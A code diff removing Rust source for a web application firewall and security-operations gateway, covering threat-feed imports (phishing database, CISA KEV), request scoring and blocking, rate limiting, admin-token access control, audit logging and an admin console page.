"waf_coraza", - format!("{accepted}_hits"), - ); - CorazaAuditImportResult { - accepted_hits: accepted, - skipped, - event_ids, - enforcement_hints, - } - }) - .await - { - Ok(result) => (StatusCode::CREATED, Json(result)).into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), - } -} - -/// Feed proven-engine hits into gateway scoring: DNSBL for client IPs and -/// threat indicators for IP/path. Only block-grade hits become enforcement hints. -fn apply_engine_enforcement_hints( - data: &mut AppData, - source: &str, - action: &str, - client_ip: Option, - path: &str, - reason: &str, - score: u16, -) -> usize { - if action != "block" && score < BLOCK_SCORE { - return 0; - } - const TTL_SECONDS: u64 = 3_600; - let mut written = 0usize; - let severity = if score >= 80 { - Severity::High - } else { - Severity::Medium - }; - let reason = { - let trimmed = reason.trim(); - if trimmed.len() > 200 { - format!("{}…", &trimmed[..199]) - } else if trimmed.is_empty() { - format!("{source} engine hit") - } else { - trimmed.to_string() - } - }; - - if let Some(ip) = client_ip { - let dnsbl = DnsblEntry { - address: ip, - code: "127.0.0.2".to_string(), - reason: reason.clone(), - source: source.to_string(), - ttl_seconds: TTL_SECONDS, - prefix_len: None, - }; - if validate_dnsbl(&dnsbl).is_ok() { - upsert_dnsbl(&mut data.dnsbl, dnsbl); - written += 1; - } - let ip_indicator = ThreatIndicator { - value: ip.to_string(), - indicator_type: "client_ip".to_string(), - severity: severity.clone(), - source: source.to_string(), - ttl_seconds: TTL_SECONDS, - }; - if validate_threat(&ip_indicator).is_ok() { - upsert_threat(&mut data.threats, ip_indicator); - written += 1; - } - } - - let path_only = path.split('?').next().unwrap_or(path).trim(); - if path_only.starts_with('/') && path_only.len() > 1 { - let path_indicator = ThreatIndicator { - value: path_only.to_string(), - indicator_type: "path".to_string(), - severity, - source: source.to_string(), - ttl_seconds: TTL_SECONDS, - }; - if validate_threat(&path_indicator).is_ok() { - upsert_threat(&mut data.threats, path_indicator); - written += 1; - } - } - written -} - -async fn import_phishing_database_feed( - State(state): State, - headers: HeaderMap, - Json(request): Json, -) -> Response { - if let Some(denied) = reject_management_write(&state, &headers) { - return denied; - } - if let Err(message) = validate_phishing_database_import_request(&request) { - return error(StatusCode::BAD_REQUEST, message); - } - - let (domains_text, ips_text) = match (request.import_domains, request.import_ips) { - (true, true) => { - match tokio::try_join!( - fetch_text_feed(&state, &request.domain_url), - fetch_text_feed(&state, &request.ip_url) - ) { - Ok((domains, ips)) => (domains, ips), - Err(message) => return error(StatusCode::BAD_GATEWAY, message), - } - } - (true, false) => match fetch_text_feed(&state, &request.domain_url).await { - Ok(domains) => (domains, String::new()), - Err(message) => return error(StatusCode::BAD_GATEWAY, message), - }, - (false, true) => match fetch_text_feed(&state, &request.ip_url).await { - Ok(ips) => (String::new(), ips), - Err(message) => return error(StatusCode::BAD_GATEWAY, message), - }, - (false, false) => (String::new(), String::new()), - }; - - let source_tag = request.feed_id.clone(); - let threats = if request.import_domains { - parse_phishing_domains(&domains_text, request.domain_limit) - .into_iter() - .map(|domain| ThreatIndicator { - value: domain, - indicator_type: "phishing_domain".to_string(), - severity: request.severity.clone(), - source: source_tag.clone(), - ttl_seconds: request.ttl_seconds, - }) - .collect() - } else { - Vec::new() - }; - let dnsbl = if request.import_ips { - parse_phishing_ips(&ips_text, request.ip_limit) - .into_iter() - .map(|address| DnsblEntry { - address, - code: PHISHING_DATABASE_DNSBL_CODE.to_string(), - reason: PHISHING_DATABASE_DNSBL_REASON.to_string(), - source: source_tag.clone(), - ttl_seconds: request.ttl_seconds, - prefix_len: None, - }) - .collect() - } else { - Vec::new() - }; - let feed = ThreatFeedImport { - feed_id: request.feed_id, - source: request.source, - ttl_seconds: request.ttl_seconds, - threats, - dnsbl, - }; - if let Err(message) = validate_threat_feed_import(&feed) { - return error( - StatusCode::BAD_GATEWAY, - format!("invalid fetched feed data: {message}"), - ); - } - - let actor = audit_actor(&state, &headers); - match apply_threat_feed_import(&state, actor, "import_phishing_database_feed", feed).await { - Ok(result) => (StatusCode::CREATED, Json(result)).into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), - } -} - -fn validate_phishing_database_import_request( - request: &PhishingDatabaseImportRequest, -) -> Result<(), &'static str> { - if request.feed_id.trim().is_empty() { - return Err("feed_id is required"); - } - if request.source.trim().is_empty() { - return Err("source is required"); - } - if request.ttl_seconds == 0 { - return Err("ttl_seconds must be greater than zero"); - } - if !request.import_domains && !request.import_ips { - return Err("at least one of import_domains or import_ips must be true"); - } - if request.import_domains { - if request.domain_limit == 0 { - return Err("domain_limit must be greater than zero when import_domains is enabled"); - } - validate_http_url(&request.domain_url, request.allow_non_default_hosts)?; - } - if request.import_ips { - if request.ip_limit == 0 { - return Err("ip_limit must be greater than zero when import_ips is enabled"); - } - validate_http_url(&request.ip_url, request.allow_non_default_hosts)?; - } - Ok(()) -} - -fn validate_kev_import_request(request: &KevImportRequest) -> Result<(), &'static str> { - if request.feed_id.trim().is_empty() { - return Err("feed_id is required"); - } - if request.source.trim().is_empty() { - return Err("source is required"); - } - if request.ttl_seconds == 0 { - return Err("ttl_seconds must be greater than zero"); - } - Ok(()) -} - -async fn import_kev_feed( - State(state): State, - headers: HeaderMap, - Json(request): Json, -) -> Response { - if !has_write_admin_credential(&state) { - return error( - StatusCode::SERVICE_UNAVAILABLE, - "KEV import requires a configured write-capable admin credential", - ); - } - if let Some(denied) = reject_management_write(&state, &headers) { - return denied; - } - if let Err(message) = validate_kev_import_request(&request) { - return error(StatusCode::BAD_REQUEST, message); - } - - // Always fetches the deployment-configured CISA KEV URL (default: the - // real CISA feed; overridable only via server-side config, never by the - // request body) -- there is no request-controlled URL construction here - // at all, unlike the operator-URL adapters (phishing-database, TAXII). - // Uses its own fetch_kev_catalog rather than the shared fetch_text_feed - // so this config-only path never shares a function with (and can't be - // conflated by static analysis with) phishing-database's request-URL fetch. - let body_text = match fetch_kev_catalog(&state).await { - Ok(text) => text, - Err(message) => return error(StatusCode::BAD_GATEWAY, message), - }; - let material = match kev_import::parse_kev_document( - &body_text, - request.source.trim(), - request.ttl_seconds, - ) { - Ok(material) => material, - Err(message) => { - return error( - StatusCode::BAD_GATEWAY, - format!("invalid fetched KEV catalog: {message}"), - ); - } - }; - - let actor = audit_actor(&state, &headers); - let feed = ThreatFeedImport { - feed_id: request.feed_id.trim().to_string(), - source: request.source.trim().to_string(), - ttl_seconds: request.ttl_seconds, - threats: material.threats, - dnsbl: material.dnsbl, - }; - if let Err(message) = validate_threat_feed_import(&feed) { - return error( - StatusCode::BAD_GATEWAY, - format!("invalid fetched feed data: {message}"), - ); - } - let skipped_entries = material.skipped_entries; - match apply_threat_feed_import(&state, actor, "import_kev_feed", feed).await { - Ok(result) => ( - StatusCode::CREATED, - Json(KevImportResult { - feed_id: result.feed_id, - upserted_threats: result.upserted_threats, - upserted_dnsbl: result.upserted_dnsbl, - skipped_entries, - last_updated_unix: result.last_updated_unix, - }), - ) - .into_response(), - Err(message) => error(StatusCode::INTERNAL_SERVER_ERROR, message), - } -} - -fn validate_http_url(value: &str, allow_non_default_hosts: bool) -> Result<(), &'static str> { - let parsed = reqwest::Url::parse(value).map_err(|_| "feed URL must be an absolute URL")?; - let host = parsed.host_str().ok_or("feed URL host is required")?; - match parsed.scheme() { - "https" => {} - "http" if is_loopback_host(host) => {} - "http" => return Err("feed URL scheme must be https unless host is loopback"), - _ => return Err("feed URL scheme must be http or https"), - } - if !allow_non_default_hosts - && !PHISHING_DATABASE_ALLOWED_HOSTS - .iter() - .any(|allowed| host.eq_ignore_ascii_case(allowed)) - { - return Err("feed URL host is not allowed"); - } - Ok(()) -} - -// Deliberately separate from `fetch_text_feed`: that helper's `url` argument is -// fed by operator-supplied request URLs for phishing-database imports. KEV does -// not support a runtime URL override, so this fetch path stays structurally -// independent and fixed to the built-in CISA host; loopback is allowed only for -// tests that inject a local mock via `with_kev_catalog_url`. -fn validate_kev_catalog_url(url: &str) -> Result<(), String> { - validate_http_url(url, /* allow_non_default_hosts */ true) - .map_err(|message| format!("invalid KEV catalog URL {url}: {message}"))?; - let parsed = reqwest::Url::parse(url).map_err(|_| format!("invalid KEV catalog URL {url}"))?; - let host = parsed - .host_str() - .ok_or_else(|| format!("invalid KEV catalog URL {url}: host is required"))?; - if !KEV_ALLOWED_HOSTS - .iter() - .any(|allowed| host.eq_ignore_ascii_case(allowed)) - && !is_loopback_host(host) - { - return Err(format!( - "KEV catalog URL {url} host is not on the CISA KEV allowlist" - )); - } - Ok(()) -} - -async fn fetch_kev_catalog(state: &AppState) -> Result { - use futures_util::StreamExt; - - let url = state.kev_catalog_url(); - validate_kev_catalog_url(url)?; - let response = state - .feed_http - .get(url) - .timeout(std::time::Duration::from_secs( - PHISHING_DATABASE_FETCH_TIMEOUT_SECS, - )) - .send() - .await - .map_err(|error| format!("failed to fetch KEV catalog {url}: {error}"))?; - let status = response.status(); - if !status.is_success() { - return Err(format!("KEV catalog {url} returned HTTP {status}")); - } - if let Some(len) = response.content_length() - && len as usize > PHISHING_DATABASE_MAX_BODY_BYTES - { - return Err(format!( - "KEV catalog {url} body too large: {len} bytes (limit: {PHISHING_DATABASE_MAX_BODY_BYTES})" - )); - } - let mut bytes = Vec::new(); - let mut stream = response.bytes_stream(); - while let Some(chunk) = stream.next().await { - let chunk = chunk - .map_err(|error| format!("failed to read KEV catalog body from {url}: {error}"))?; - if bytes.len().saturating_add(chunk.len()) > PHISHING_DATABASE_MAX_BODY_BYTES { - return Err(format!( - "KEV catalog {url} body too large: limit {PHISHING_DATABASE_MAX_BODY_BYTES} bytes exceeded while streaming" - )); - } - bytes.extend_from_slice(&chunk); - } - String::from_utf8(bytes) - .map_err(|error| format!("KEV catalog {url} is not valid UTF-8 text: {error}")) -} - -fn is_loopback_host(host: &str) -> bool { - host.eq_ignore_ascii_case("localhost") - || host - .parse::() - .map(|ip| ip.is_loopback()) - .unwrap_or(false) -} - -async fn support_bundle(State(state): State) -> Json { - let data = state.inner.read().await; - let generated_at_unix = now_unix(); - Json(SupportBundle { - generated_at_unix, - health: state.health_status(), - kpis: kpi_snapshot_at(&data, generated_at_unix), - commercial: data.commercial.clone(), - readiness: commercial_readiness_snapshot_at(&data, generated_at_unix), - evidence_manifest: buyer_evidence_manifest_at(&data, generated_at_unix), - threat_feed_freshness: threat_feed_freshness_snapshot( - &data.threat_feeds, - generated_at_unix, - ), - route_count: data.routes.len(), - threat_indicator_count: data.threats.len(), - dnsbl_entry_count: data.dnsbl.len(), - threat_feed_count: data.threat_feeds.len(), - event_count: data.events.len(), - audit_log_count: data.audit_logs.len(), - }) -} - -async fn events_ndjson(State(state): State) -> Response { - let data = state.inner.read().await; - events_ndjson_response(export_events_ndjson(&data.events)) -} - -fn events_ndjson_response(export: Result) -> Response { - match export { - Ok(body) => ( - StatusCode::OK, - [("content-type", "application/x-ndjson; charset=utf-8")], - body, - ) - .into_response(), - Err(err) => error( - StatusCode::INTERNAL_SERVER_ERROR, - format!("failed to serialize security events: {err}"), - ), - } -} - -async fn dnsbl_zone(State(state): State) -> impl IntoResponse { - let data = state.inner.read().await; - ( - StatusCode::OK, - [("content-type", "text/plain; charset=utf-8")], - export_dnsbl_zone(&state.dnsbl_origin, &data.dnsbl), - ) -} - -async fn gateway( - State(state): State, - method: Method, - uri: Uri, - headers: HeaderMap, - body: Bytes, -) -> Response { - let gateway_path = uri - .path() - .strip_prefix("/gateway") - .filter(|path| !path.is_empty()) - .unwrap_or("/"); - - let (route, threats, dnsbl) = { - let data = state.inner.read().await; - let Some(route) = select_route(&data.routes, gateway_path) else { - return error( - StatusCode::NOT_FOUND, - "no gateway route matched the request path", - ); - }; - (route.clone(), data.threats.clone(), data.dnsbl.clone()) - }; - - let client_ip = client_ip_from_headers(&headers); - - // Rate limiting runs before scoring/proxying so floods are shed cheaply. - if !state.allow_request(client_ip).await { - record_event( - &state, - client_ip, - Some(route.id.clone()), - "rate_limited", - format!( - "rate limit exceeded ({} requests per {}s)", - state.rate_limit, state.rate_limit_window - ), - 0, - gateway_path, - ) - .await; - return ( - StatusCode::TOO_MANY_REQUESTS, - Json(serde_json::json!({ - "action": "rate_limited", - "route_id": route.id, - "limit": state.rate_limit, - "window_seconds": state.rate_limit_window - })), - ) - .into_response(); - } - - let body_text = String::from_utf8_lossy(&body); - let scored = score_request( - gateway_path, - uri.query(), - &body_text, - client_ip, - &threats, - &dnsbl, - ); - - if route.mode == EnforcementMode::Block - && scored.score >= route.block_threshold.unwrap_or(BLOCK_SCORE) - { - record_event( - &state, - client_ip, - Some(route.id.clone()), - "blocked", - scored.reason.clone(), - scored.score, - gateway_path, - ) - .await; - return ( - StatusCode::FORBIDDEN, - Json(serde_json::json!({ - "action": "blocked", - "route_id": route.id, - "score": scored.score, - "reason": scored.reason - })), - ) - .into_response(); - } - - let engine_uri = match uri.query() { - Some(query) if !query.is_empty() => format!("{gateway_path}?{query}"), - _ => gateway_path.to_string(), - }; - let mut proven_engine_recorded = false; - match proven_engine::evaluate_sidecar( - &state.waf_http, - &state.proven_engine, - proven_engine::SidecarEvaluation { - method: method.as_str(), - uri: &engine_uri, - body: &body_text, - client_ip, - headers: &headers, - policy_id: &route.id, - }, - ) - .await - { - proven_engine::ProvenEngineOutcome::Clean => {} - proven_engine::ProvenEngineOutcome::Hit(hit) => { - let disruptive = hit.action == "block"; - let action = if route.mode == EnforcementMode::Block && disruptive { - "blocked" - } else { - "monitored" - }; - record_event( - &state, - client_ip, - Some(route.id.clone()), - action, - hit.reason.clone(), - hit.score, - gateway_path, - ) - .await; - proven_engine_recorded = true; - if action == "blocked" { - return ( - StatusCode::FORBIDDEN, - Json(serde_json::json!({ - "action": "blocked", - "route_id": route.id, - "score": hit.score, - "reason": hit.reason, - "engine": "coraza" - })), - ) - .into_response(); - } - } - proven_engine::ProvenEngineOutcome::Unavailable { reason } => { - record_event( - &state, - client_ip, - Some(route.id.clone()), - "engine_unavailable", - reason.clone(), - 0, - gateway_path, - ) - .await; - proven_engine_recorded = true; - if route.mode == EnforcementMode::Block { - return ( - StatusCode::SERVICE_UNAVAILABLE, - Json(serde_json::json!({ - "action": "engine_unavailable", - "route_id": route.id, - "reason": reason, - "engine": "coraza" - })), - ) - .into_response(); - } - } - } - - if !proven_engine_recorded { - record_event( - &state, - client_ip, - Some(route.id.clone()), - "monitored", - scored.reason.clone(), - scored.score, - gateway_path, - ) - .await; - } - - if route.upstream.starts_with("mock://") { - return ( - StatusCode::OK, - Json(serde_json::json!({ - "action": "monitored", - "route_id": route.id, - "method": method.as_str(), - "path": gateway_path, - "score": scored.score, - "reason": scored.reason, - "upstream": route.upstream - })), - ) - .into_response(); - } - - match proxy_request(&state, &route, &method, gateway_path, uri.query(), body).await { - Ok(response) => response, - Err(message) => error(StatusCode::BAD_GATEWAY, message), - } -} - -fn client_ip_from_headers(headers: &HeaderMap) -> Option { - headers - .get("x-forwarded-for") - .and_then(|value| value.to_str().ok()) - .and_then(|value| value.split(',').next()) - .map(str::trim) - .or_else(|| { - headers - .get("x-real-ip") - .and_then(|value| value.to_str().ok()) - }) - .and_then(|value| value.parse().ok()) -} - -async fn proxy_request( - state: &AppState, - route: &RouteConfig, - method: &Method, - path: &str, - query: Option<&str>, - body: Bytes, -) -> Result { - let target = upstream_target(route, path, query)?; - let method = reqwest::Method::from_bytes(method.as_str().as_bytes()) - .expect("axum HTTP methods are valid reqwest HTTP methods"); - let response = state - .http - .request(method, target) - .body(body) - .send() - .await - .map_err(|error| format!("upstream request failed: {error}"))?; - let status = StatusCode::from_u16(response.status().as_u16()) - .expect("reqwest upstream status codes are valid axum status codes"); - let bytes = response - .bytes() - .await - .map_err(|error| format!("upstream body read failed: {error}"))?; - Ok((status, bytes).into_response()) -} - -pub fn upstream_target( - route: &RouteConfig, - path: &str, - query: Option<&str>, -) -> Result { - if !route.upstream.starts_with("http://") && !route.upstream.starts_with("https://") { - return Err("upstream must use http:// or https:// for proxy mode".to_string()); - } - let suffix = path.strip_prefix(&route.path_prefix).unwrap_or(path); - let suffix = if suffix.starts_with('/') { - suffix.to_string() - } else if suffix.is_empty() { - "/".to_string() - } else { - format!("/{suffix}") - }; - let mut target = format!("{}{}", route.upstream.trim_end_matches('/'), suffix); - if let Some(query) = query.filter(|value| !value.is_empty()) { - target.push('?'); - target.push_str(query); - } - Ok(target) -} - -async fn record_event( - state: &AppState, - client_ip: Option, - route_id: Option, - action: &str, - reason: String, - score: u16, - path: &str, -) { - let action = action.to_string(); - let path = path.to_string(); - let event_limit = state.event_limit; - if let Err(error) = state - .mutate_and_persist(|data| { - let id = data.next_event_id; - data.next_event_id += 1; - let event = SecurityEvent { - id, - timestamp_unix: now_unix(), - client_ip, - route_id, - action, - reason, - score, - path, - }; - // Structured stdout log line for SIEM / log-collector ingestion. - // ponytail: one println per recorded event — fine at gateway volumes; - // add async batching if event throughput ever becomes a bottleneck. - println!("{}", security_event_log_line(&event)); - data.events.push(event); - enforce_event_limit(data, event_limit); - }) - .await - { - eprintln!("failed to persist security event: {error}"); - } -} - -/// Serializes a [`SecurityEvent`] as a single-line JSON record for structured -/// stdout logging (SIEM / log-collector ingestion). -fn security_event_log_line(event: &SecurityEvent) -> String { - serde_json::to_string(event).expect("SecurityEvent is JSON-serializable") -} - -/// RBAC principal bound to an admin token. -#[derive(Debug, Clone, PartialEq, Eq)] -pub struct AdminPrincipal { - pub actor: String, - /// When false, the token may authenticate for read-only operator surfaces - /// (e.g. audit logs) but cannot perform management writes. - pub can_write: bool, -} - -fn presented_admin_token(headers: &HeaderMap) -> Option<&str> { - headers - .get("x-admin-token") - .and_then(|value| value.to_str().ok()) -} - -/// Startup should only trust secrets that can be presented back through the -/// `X-Admin-Token` header without wire-format rejection. -fn admin_secret_supports_header_auth(token: &str) -> bool { - !token.trim().is_empty() && HeaderValue::from_str(token).is_ok() -} - -/// Scan every configured RBAC secret with constant-time comparison so a miss -/// does not reveal which slot matched. -fn matching_rbac_principal<'a>(state: &'a AppState, presented: &str) -> Option<&'a AdminPrincipal> { - let mut found = None; - for (token, principal) in &state.admin_tokens { - if credentials::constant_time_eq(token.as_bytes(), presented.as_bytes()) { - found = Some(principal); - } - } - found -} - -/// True when the request presents a valid admin credential (write or readonly). -/// When no admin credentials are configured, loopback development remains open. -fn admin_authenticated(state: &AppState, headers: &HeaderMap) -> bool { - if !state.admin_tokens.is_empty() { - return presented_admin_token(headers) - .is_some_and(|token| matching_rbac_principal(state, token).is_some()); - } - let Some(expected) = state.admin_token.as_deref() else { - return true; - }; - presented_admin_token(headers) - .is_some_and(|actual| credentials::constant_time_eq(expected.as_bytes(), actual.as_bytes())) -} - -/// True when the request may perform management **writes**. -/// Readonly RBAC tokens authenticate but cannot write. -fn admin_authorized(state: &AppState, headers: &HeaderMap) -> bool { - if !state.admin_tokens.is_empty() { - return presented_admin_token(headers).is_some_and(|token| { - matching_rbac_principal(state, token).is_some_and(|principal| principal.can_write) - }); - } - let Some(expected) = state.admin_token.as_deref() else { - return true; - }; - presented_admin_token(headers) - .is_some_and(|actual| credentials::constant_time_eq(expected.as_bytes(), actual.as_bytes())) -} - -/// `401` when the caller is not authenticated; `403` when authenticated but not -/// permitted to write. The body stays stable so the expected role is not leaked. -fn reject_management_write(state: &AppState, headers: &HeaderMap) -> Option { - if admin_authorized(state, headers) { - return None; - } - let (status, message) = if admin_authenticated(state, headers) { - ( - StatusCode::FORBIDDEN, - "X-Admin-Token is not authorized for management writes", - ) - } else { - (StatusCode::UNAUTHORIZED, "missing or invalid X-Admin-Token") - }; - Some(error(status, message)) -} - -fn has_write_admin_credential(state: &AppState) -> bool { - if !state.admin_tokens.is_empty() { - return state.admin_tokens.iter().any(|(token, principal)| { - principal.can_write && admin_secret_supports_header_auth(token) - }); - } - state - .admin_token - .as_deref() - .is_some_and(admin_secret_supports_header_auth) -} - -fn audit_actor(state: &AppState, headers: &HeaderMap) -> String { - // Prefer the actor bound to the presented RBAC token, then an explicit - // actor header, then a generic label. The token itself is never logged. - if let Some(actor) = state.actor_for_token(headers) { - return actor; - } - headers - .get("x-admin-actor") - .and_then(|value| value.to_str().ok()) - .map(str::trim) - .filter(|value| !value.is_empty()) - .unwrap_or("admin-token") - .to_string() -} - -/// Parses an `ADMIN_TOKENS` string into a token -> [`AdminPrincipal`] map. -/// -/// Format is comma-separated items: -/// - `token` → actor `admin`, write enabled -/// - `token:actor` → named actor, write enabled -/// - `token:actor:readonly` (or `:read`) → named actor, write **disabled** -/// - `token:actor:admin` / `:write` / `:writer` → named actor, write enabled -/// -/// Blank items and blank tokens are ignored. Unknown role labels default to -/// write-enabled so legacy `token:actor` configs keep full access. -pub fn parse_admin_tokens(raw: &str) -> HashMap { - raw.split(',') - .filter_map(|item| { - let item = item.trim(); - if item.is_empty() { - return None; - } - let mut parts = item.splitn(3, ':').map(str::trim); - let token = parts.next().unwrap_or(""); - if token.is_empty() { - return None; - } - let actor_raw = parts.next().unwrap_or(""); - let role_raw = parts.next().unwrap_or(""); - let actor = if actor_raw.is_empty() { - "admin".to_string() - } else { - actor_raw.to_string() - }; - if actor.is_empty() { - return None; - } - let can_write = match role_raw.to_ascii_lowercase().as_str() { - "" | "admin" | "write" | "writer" | "operator" => true, - "readonly" | "read" | "reader" | "ro" => false, - // Unknown role: fail open to write so mis-typed labels do not - // silently strand operators without recovery — document known roles. - _ => true, - }; - Some((token.to_string(), AdminPrincipal { actor, can_write })) - }) - .collect() -} - -/// Startup parser for `ADMIN_TOKENS`. Rejects blank entries, blank tokens, -/// duplicate secrets, and unknown roles so ambiguous auth cannot become ready. -pub fn parse_admin_tokens_strict(raw: &str) -> Result, String> { - let mut map = HashMap::new(); - for item in raw.split(',') { - let item = item.trim(); - if item.is_empty() { - return Err( - "ADMIN_TOKENS contains a blank entry; remove repeated, leading, or trailing commas" - .to_string(), - ); - } - let mut parts = item.splitn(3, ':').map(str::trim); - let token = parts.next().unwrap_or(""); - if token.is_empty() { - return Err( - "ADMIN_TOKENS contains a blank token; remove the empty entry or supply a secret" - .to_string(), - ); - } - if map.contains_key(token) { - return Err( - "ADMIN_TOKENS contains a duplicate token; each secret must map to one principal" - .to_string(), - ); - } - let actor_raw = parts.next().unwrap_or(""); - let role_raw = parts.next().unwrap_or(""); - let actor = if actor_raw.is_empty() { - "admin".to_string() - } else { - actor_raw.to_string() - }; - let can_write = match role_raw.to_ascii_lowercase().as_str() { - "" | "admin" | "write" | "writer" | "operator" => true, - "readonly" | "read" | "reader" | "ro" => false, - other => { - return Err(format!( - "ADMIN_TOKENS role {other:?} is not recognised; use admin, write, or readonly" - )); - } - }; - map.insert(token.to_string(), AdminPrincipal { actor, can_write }); - } - Ok(map) -} - -fn record_successful_audit_log( - data: &mut AppData, - actor: String, - action: &str, - resource: &str, - resource_id: String, -) -> AuditLogEntry { - record_audit_log( - data, - NewAuditLogEntry { - timestamp_unix: now_unix(), - actor, - action: action.to_string(), - resource: resource.to_string(), - resource_id, - outcome: "success".to_string(), - }, - ) -} - -fn threat_resource_id(indicator: &ThreatIndicator) -> String { - format!( - "{}:{}:{}", - indicator.indicator_type, indicator.value, indicator.source - ) -} - -fn mark_operator_threat_key(data: &mut AppData, indicator: &ThreatIndicator) { - let key = threat_indicator_key(indicator); - if !data.operator_threat_keys.contains(&key) { - data.operator_threat_keys.push(key); - } -} - -async fn apply_threat_feed_import( - state: &AppState, - actor: String, - action: &'static str, - feed: ThreatFeedImport, -) -> Result { - let imported_at = now_unix(); - state - .mutate_and_persist(|data| { - let operator_owned: HashSet<_> = data.operator_threat_keys.iter().cloned().collect(); - let threat_keys: Vec<_> = feed.threats.iter().map(threat_indicator_key).collect(); - let previous_keys: HashSet<_> = replace_threat_feed_ownership( - &mut data.threat_feed_ownership, - feed.feed_id.clone(), - threat_keys, - ) - .into_iter() - .collect(); - if !previous_keys.is_empty() { - // A key this feed is dropping might still be owned by another - // feed (e.g. two feeds importing the same CVE under a shared - // `source`) -- only reap it once no feed's ownership record - // claims it any more, so a refresh on one feed can't make a - // still-relevant indicator vanish from enforcement. Also keep - // indicators an operator independently upserted via /api/threats. - let still_owned: HashSet<_> = data - .threat_feed_ownership - .iter() - .filter(|ownership| ownership.feed_id != feed.feed_id) - .flat_map(|ownership| ownership.threat_keys.iter().cloned()) - .collect(); - data.threats.retain(|threat| { - let key = threat_indicator_key(threat); - !previous_keys.contains(&key) - || still_owned.contains(&key) - || operator_owned.contains(&key) - }); - } - let mut upserted_threats = 0usize; - for threat in feed.threats.iter().cloned() { - if operator_owned.contains(&threat_indicator_key(&threat)) { - continue; - } - upsert_threat(&mut data.threats, threat); - upserted_threats += 1; - } - for entry in feed.dnsbl.iter().cloned() { - upsert_dnsbl(&mut data.dnsbl, entry); - } - upsert_threat_feed( - &mut data.threat_feeds, - ThreatFeedStatus { - feed_id: feed.feed_id.clone(), - source: feed.source.clone(), - last_updated_unix: imported_at, - threat_count: feed.threats.len(), - dnsbl_count: feed.dnsbl.len(), - ttl_seconds: feed.ttl_seconds, - }, - ); - let result = ThreatFeedImportResult { - feed_id: feed.feed_id.clone(), - upserted_threats, - upserted_dnsbl: feed.dnsbl.len(), - last_updated_unix: imported_at, - }; - record_successful_audit_log(data, actor, action, "threat_feed", result.feed_id.clone()); - result - }) - .await -} - -async fn fetch_text_feed(state: &AppState, url: &str) -> Result { - use futures_util::StreamExt; - - validate_http_url(url, /* allow_non_default_hosts */ true) - .map_err(|message| format!("invalid feed URL {url}: {message}"))?; - let response = state - .feed_http - .get(url) - .timeout(std::time::Duration::from_secs( - PHISHING_DATABASE_FETCH_TIMEOUT_SECS, - )) - .send() - .await - .map_err(|error| format!("failed to fetch feed {url}: {error}"))?; - let status = response.status(); - if !status.is_success() { - return Err(format!("feed {url} returned HTTP {status}")); - } - // Fail fast when the server advertises an oversized Content-Length. - if let Some(len) = response.content_length() - && len as usize > PHISHING_DATABASE_MAX_BODY_BYTES - { - return Err(format!( - "feed {url} body too large: {len} bytes (limit: {PHISHING_DATABASE_MAX_BODY_BYTES})" - )); - } - // Stream chunks so a chunked/malicious body cannot OOM the process before the cap. - let mut bytes = Vec::new(); - let mut stream = response.bytes_stream(); - while let Some(chunk) = stream.next().await { - let chunk = - chunk.map_err(|error| format!("failed to read feed body from {url}: {error}"))?; - if bytes.len().saturating_add(chunk.len()) > PHISHING_DATABASE_MAX_BODY_BYTES { - return Err(format!( - "feed {url} body too large: limit {PHISHING_DATABASE_MAX_BODY_BYTES} bytes exceeded while streaming" - )); - } - bytes.extend_from_slice(&chunk); - } - String::from_utf8(bytes).map_err(|error| format!("feed {url} is not valid UTF-8 text: {error}")) -} - -fn parse_phishing_domains(feed: &str, limit: usize) -> Vec { - let mut values = Vec::new(); - let mut unique = HashSet::new(); - for line in feed.lines() { - let Some(domain) = normalize_phishing_domain(line) else { - continue; - }; - if unique.insert(domain.clone()) { - values.push(domain); - if values.len() >= limit { - break; - } - } - } - values -} - -fn normalize_phishing_domain(value: &str) -> Option { - let trimmed = value.trim(); - if trimmed.is_empty() || trimmed.starts_with('#') { - return None; - } - let without_scheme = trimmed - .strip_prefix("https://") - .or_else(|| trimmed.strip_prefix("http://")) - .unwrap_or(trimmed); - let host_port = without_scheme.split('/').next().unwrap_or(""); - let host = host_port - .split(':') - .next() - .unwrap_or("") - .trim_end_matches('.'); - if host.is_empty() || !host.contains('.') || host.starts_with('.') || host.contains("..") { - return None; - } - if host.parse::().is_ok() { - return None; - } - if !host - .bytes() - .all(|byte| byte.is_ascii_alphanumeric() || byte == b'.' || byte == b'-') - { - return None; - } - Some(host.to_ascii_lowercase()) -} - -fn parse_phishing_ips(feed: &str, limit: usize) -> Vec { - let mut values = Vec::new(); - let mut unique = HashSet::new(); - for line in feed.lines() { - let trimmed = line.trim(); - if trimmed.is_empty() || trimmed.starts_with('#') { - continue; - } - let Ok(address) = trimmed.parse::() else { - continue; - }; - if unique.insert(address) { - values.push(address); - if values.len() >= limit { - break; - } - } - } - values -} - -fn error(status: StatusCode, message: impl Into) -> Response { - ( - status, - Json(ErrorBody { - error: message.into(), - }), - ) - .into_response() -} - -fn now_unix() -> u64 { - SystemTime::now() - .duration_since(UNIX_EPOCH) - .unwrap_or_default() - .as_secs() -} - -const ADMIN_HTML: &str = r##" - - - - -WAF IDS AI SOC — Console - - - - -
-

ContextualWisdomLab WAF/IDS/AI SOC Gateway

-
- - - -
-
-
-
Loading
…
-
-

Routes

Loading…
-
+ Add route -
- - - - -
-
-
-
-

Threat indicators

Loading…
-
+ Add threat indicator -
- - - - - -
-
-
-
-

DNSBL entries

Loading…
-
+ Add DNSBL entry -
- - - - - -
-
-
-
-

Commercial readiness

Loading…
-

License

Loading…
-
+ Update license -
- - - - - - - - -
-
-
-
-

Threat feeds

Loading…
-

Recent events

Loading…
-

Suricata IDS ingest

-

POST admin-authenticated Suricata EVE JSON/NDJSON alerts to /api/ids/suricata/eve. Alerts become SOC security events (no hand-rolled IDS rules).

-
-

Coraza / OWASP CRS WAF ingest

-

POST admin-authenticated Coraza audit JSON/NDJSON to /api/waf/coraza/audit. CRS rule matches become SOC events and block-grade hits also seed DNSBL/client_ip indicators so the gateway enforces subsequent requests (run Coraza outside; do not invent WAF rules here).

-
-

STIX threat intelligence

-

POST admin-authenticated STIX 2.x indicator or bundle JSON to /api/threat-intel/stix (optional query: feed_id, source, ttl_seconds). Maps ipv4/domain/url patterns into threats/DNSBL for gateway scoring.

-
-

MISP threat intelligence

-

POST admin-authenticated MISP Event/attribute JSON to /api/threat-intel/misp (optional query: feed_id, source, ttl_seconds). Maps IDS-worthy attributes (ip-src/ip-dst, domain, url, composites, hashes) into threats/DNSBL; attributes with to_ids=false are skipped. Live MISP REST pull is a follow-up.

-
-

